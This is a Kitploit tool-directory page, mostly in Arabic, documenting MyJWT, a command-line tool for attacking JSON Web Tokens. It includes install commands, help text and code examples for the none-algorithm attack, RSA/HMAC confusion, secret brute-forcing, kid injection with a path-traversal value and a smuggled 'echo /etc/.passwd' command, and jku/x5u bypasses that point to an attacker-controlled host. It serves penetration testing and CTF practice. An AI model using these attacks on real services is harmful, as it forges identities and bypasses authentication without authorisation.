Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
MyJWT — أداة سطر أوامر (CLI) لاختراق واختبار الثغرات في رموز الويب JSON (JWT) | Kitploit
أدوات/GitHubGitHub/tyki6/myjwt
كسر كلمات المرورتحليل الثغرات الأمنيةأمن الويباختبار الاختراق
GitHubtyki6/myjwt

MyJWT

أداة سطر أوامر (CLI) لاختراق واختبار الثغرات في رموز الويب JSON (JWT)

عرض المستودع
138193منذ 11 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

MyJWT

mBouamama PyPI BlackArch package PyPI - Python Version PyPI - Download GitHub release (latest by date) Documentation Status Rawsec's CyberSecurity Inventory Code style: black codecov docstr_coverage codebeat badge Updates Known Vulnerabilities

مقدمة

هذه الأداة موجهة لمختبرات الاختراق، لاعبين CTF، أو المطورين.
يمكنك تعديل JWT الخاص بك، التوقيع، الحقن، إلخ.
اطلع على التوثيق لمزيد من المعلومات.
إذا واجهت مشاكل أو اقتراحات، أرسل issue. سأستجيب في أقرب وقت ممكن. استمتع :)

التوثيق

التوثيق متاح على http://myjwt.readthedocs.io

جدول المحتويات

  • الميزات
  • التثبيت
  • الاستخدام
  • أمثلة
  • التحميل
  • المساهمة
  • سجل التغييرات

الميزات

  • نسخ JWT الجديد إلى الحافظة
  • واجهة المستخدم (بفضل questionary)
  • إخراج ملون
  • تعديل JWT (الرأس/المحتوى)
  • ثغرة None
  • خلط RSA/HMAC
  • توقيع JWT بمفتاح
  • هجوم القوة الغاشمة لتخمين المفتاح
  • كسر JWT باستخدام تعبير منتظم لتخمين المفتاح
  • حقن kid
  • تجاوز Jku
  • تجاوز X5u

التثبيت

لتثبيت myjwt، استخدم pip:

root@kitploit:~
pip install myjwt

لتشغيل mywt من صورة docker، شغل:

root@kitploit:~
docker run -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

# mount volume for wordlist
docker run -v $(pwd)/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
# On Windows
docker run -v %CD%/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

لتثبيت myjwt، عبر git:

root@kitploit:~
git clone https://github.com/mBouamama/MyJWT.git
cd ./MyJWT
pip install -r requirements.txt
python MyJWT/myjwt_cli.py --help

لتثبيت myjwt على BlackArch:

root@kitploit:~
pacman -S myjwt

Packaging status

الاستخدام

root@kitploit:~
$ myjwt --help
Usage: myjwt [OPTIONS] JWT

  This cli is for pentesters, CTF players, or dev.
  You can modify your jwt, sign, inject ,etc...
  Full documentation is at http://myjwt.readthedocs.io.
  If you see problems or enhancement send an issue.I will respond as soon as possible.
  Enjoy :)
  All new jwt will be copy to the clipboard.

Options:
  --version                    Show the version and exit.
  --full-payload TEXT          New payload for your jwt.Json format Required.
  -h, --add-header TEXT        Add a new key, value to your jwt header, if key
                               is present old value will be replaced.Format:
                               key=value.

  -p, --add-payload TEXT       Add a new key, value to your jwt payload, if
                               key is present old value will be
                               replaced.Format: key=value.

  --sign TEXT                  Sign Your jwt with key given.
  --verify TEXT                verify your key.
  -none, --none-vulnerability  Check None Alg vulnerability.
  --hmac PATH                  Check RS/HMAC Alg vulnerability.
  --bruteforce PATH            Bruteforce to guess the secret used to sign the
                               token.

  -r, --crack TEXT             regex to iterate all string possibilities to
                               guess the secret used to sign the token.

  --kid TEXT                   Kid Injection sql
  --jku TEXT                   Jku Header to bypass authentication
  --x5u TEXT                   X5u Header to bypass authentication
  --crt TEXT                   For x5cHeader, force crt file
  --key TEXT                   For jku or x5c Header, force private key to
                               your key file

  --file TEXT                  For jku Header and x5u Header, force file name
  --print                      Print Decoded JWT
  -u, --url TEXT               Url to send your jwt.
  -m, --method TEXT            Method use for send request to url.(Default
                               GET).

  -d, --data TEXT              Data send to your url.Format: key=value. if
                               value = MY_JWT value will be replace by new
                               jwt.

  -c, --cookies TEXT           Cookies to send to your url.Format: key=value.
                               if value = MY_JWT value will be replace by new
                               jwt.

  --help                       Show this message and exit.

تعديل JWT

التحقق من JWT الخاص بك (خوارزمية HS)

الخيارالنوعمثالالمساعدة
--signtextmysecretkeyتوقيع JWT الخاص بك بمفتاحك
--verifytextmysecretkeyتحقق من مفتاحك.

الاستغلال

إرسال JWT الخاص بك

أخرى

أمثلة

  • تعديل JWT الخاص بك
  • فحص ثغرة None
  • توقيع المفتاح
  • هجوم القوة الغاشمة على التوقيع
  • خلط RSA/HMAC
  • حقن Kid
  • إرسال JWT الجديد إلى رابط
  • ثغرة Jku
  • ثغرة X5u

تعديل JWT الخاص بك

واجهة الأوامر

root@kitploit:~
myjwt YOUR_JWT --add-payload "username=admin" --add-header "refresh=false"

الكود

root@kitploit:~
from myjwt.modify_jwt import add_header, change_payload
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt

jwt_json = jwt_to_json(jwt)
jwt_json = add_header(jwt_json, {"kid": "001"})
jwt_json = change_payload(jwt_json, {"username": "admin"})
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]

المثال الكامل هنا: 01-modify-jwt

ثغرة None

واجهة الأوامر

root@kitploit:~
myjwt YOUR_JWT --none-vulnerability

الكود

root@kitploit:~
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt
from myjwt.vulnerabilities import none_vulnerability
jwt_json = jwt_to_json(jwt)
jwt = none_vulnerability(encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE])

المثال الكامل هنا: 02-none-vulnerability

توقيع المفتاح

واجهة الأوامر

root@kitploit:~
myjwt YOUR_JWT --sign YOUR_KEY

الكود

root@kitploit:~
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
key = "test"
jwt = signature(jwt_to_json(jwt), key)

المثال الكامل هنا: 03-sign-key

هجوم القوة الغاشمة

واجهة الأوامر

root@kitploit:~
myjwt YOUR_JWT --bruteforce PATH

الكود

root@kitploit:~
from myjwt.vulnerabilities import bruteforce_wordlist
wordlist = "../../wordlist/common_pass.txt"
key = bruteforce_wordlist(jwt, wordlist)

المثال الكامل هنا: 04-brute-force

كسر

واجهة الأوامر

root@kitploit:~
myjwt YOUR_JWT --crack REGEX

خلط RSA/HMAC

واجهة الأوامر

root@kitploit:~
myjwt YOUR_JWT --hmac FILE

الكود

root@kitploit:~
from myjwt.vulnerabilities import confusion_rsa_hmac
file = "public.pem"
jwt = confusion_rsa_hmac(jwt, file)

المثال الكامل هنا: 05-rsa-hmac-confusion

حقن Kid

واجهة الأوامر

root@kitploit:~
myjwt YOUR_JWT --kid INJECTION

الكود

root@kitploit:~
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
from myjwt.vulnerabilities import inject_sql_kid

injection = "../../../../../../dev/null"
sign = ""
jwt = inject_sql_kid(jwt, injection)
jwt = signature(jwt_to_json(jwt), sign)

المثال الكامل هنا: 06-kid-injection

إرسال JWT الجديد إلى رابط

واجهة الأوامر

root@kitploit:~
myjwt YOUR_JWT -u YOUR_URL -c "jwt=MY_JWT" --non-vulnerability --add-payload "username=admin"

ثغرة Jku

واجهة الأوامر

root@kitploit:~
myjwt YOUR_JWT --jku YOUR_URL

الكود

root@kitploit:~
from myjwt.vulnerabilities import jku_vulnerability
new_jwt = jku_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)

المثال الكامل هنا: 07-jku-bypass

ثغرة X5U

واجهة الأوامر

root@kitploit:~
myjwt YOUR_JWT --x5u YOUR_URL

الكود

root@kitploit:~
from myjwt.vulnerabilities import x5u_vulnerability
newJwt = x5u_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)

المثال الكامل هنا: 08-x5u-bypass

التحميل

تفقد إصدارات github. أحدث إصدار متاح على https://github.com/mBouamama/MyJWT/releases/latest

المساهمة

  • قم بعمل Fork لهذا المستودع أو استنساخه
  • أنشئ فرعًا جديدًا (ميزة، إصلاح عاجل، إلخ...)
  • قم بإجراء التغييرات اللازمة وقم بتنفيذ commit
  • تحقق من lint باستخدام make lint
  • تحقق من unit_test باستخدام make test
  • أرسل طلب سحب (Pull Request) سأتحقق في أقرب وقت ممكن.

سجل التغييرات

أصبح السجل طويلاً نوعًا ما. تم نقله إلى ملف منفصل.

انظر CHANGES.

تنزيل الأداة
الخيارالنوعمثالالمساعدة
--ful-payloadJSON{"user": "admin"}محتوى جديد لـ JWT الخاص بك.
-h, --add-headerkey=valueuser=adminإضافة مفتاح وقيمة جديدين إلى رأس JWT الخاص بك، إذا كان المفتاح موجودًا سيتم استبدال القيمة القديمة.
-p, --add-payloadkey=valueuser=adminإضافة مفتاح وقيمة جديدين إلى محتوى JWT الخاص بك، إذا كان المفتاح موجودًا سيتم استبدال القيمة القديمة.
الخيارالنوعمثالالمساعدة
-none, --none-vulnerabilityNothingتحقق من ثغرة خوارزمية None.
--hmacPATH./public.pemتحقق من ثغرة خوارزمية RS/HMAC، وقم بتوقيع JWT الخاص بك باستخدام المفتاح العام.
--bruteforcePATH./wordlist/big.txtهجوم القوة الغاشمة لتخمين السر المستخدم في توقيع الرمز. استخدم ملف نصي يحتوي على جميع كلمات المرور (سطر لكل كلمة)
--crackREGEX"[a-z]{4}"تعبير منتظم لتكرار كل احتمالات السلسلة لتخمين السر المستخدم في توقيع الرمز.
--kidtext"00; echo /etc/.passwd"حقن SQL في kid
--jkutextMYPUBLICIPرأس Jku لتجاوز المصادقة، استخدم --file إذا أردت تغيير اسم ملف jwks، و --key إذا أردت استخدام pem الخاص بك.
--x5utextMYPUBLICIPلرأس jku أو x5c، استخدم --file إذا أردت تغيير اسم ملف jwks، و --key إذا أردت استخدام pem الخاص بك.
الخيارالنوعمثالالمساعدة
-u, --urlurlhttp://challenge01.root-me.org/web-serveur/ch59/adminالرابط لإرسال JWT الخاص بك.
-m, --methodtextPOSTالطريقة المستخدمة لإرسال الطلب إلى الرابط. (الافتراضي: GET).
-d, --datakey=valuesecret=MY_JWTالبيانات المرسلة إلى الرابط. الصيغة: key=value. إذا كانت القيمة = MY_JWT سيتم استبدالها بـ JWT الجديد الخاص بك.
-c, --cookieskey=valuesecret=MY_JWTالكوكيز المرسلة إلى الرابط. الصيغة: key=value. إذا كانت القيمة = MY_JWT سيتم استبدالها بـ JWT الجديد الخاص بك.
الخيارالنوعمثالالمساعدة
--crtPATH./public.crtلرأس x5c، فرض ملف crt
--keyPATH./private.pemلرأس jku أو x5c، فرض المفتاح الخاص إلى ملف المفتاح الخاص بك
--filetextmyfileلرأس jku، فرض اسم ملف بدون امتداد .json
--printNothingطباعة JWT المفكوك
--helpNothingإظهار رسالة المساعدة والخروج.
--versionNothingإظهار إصدار Myjwt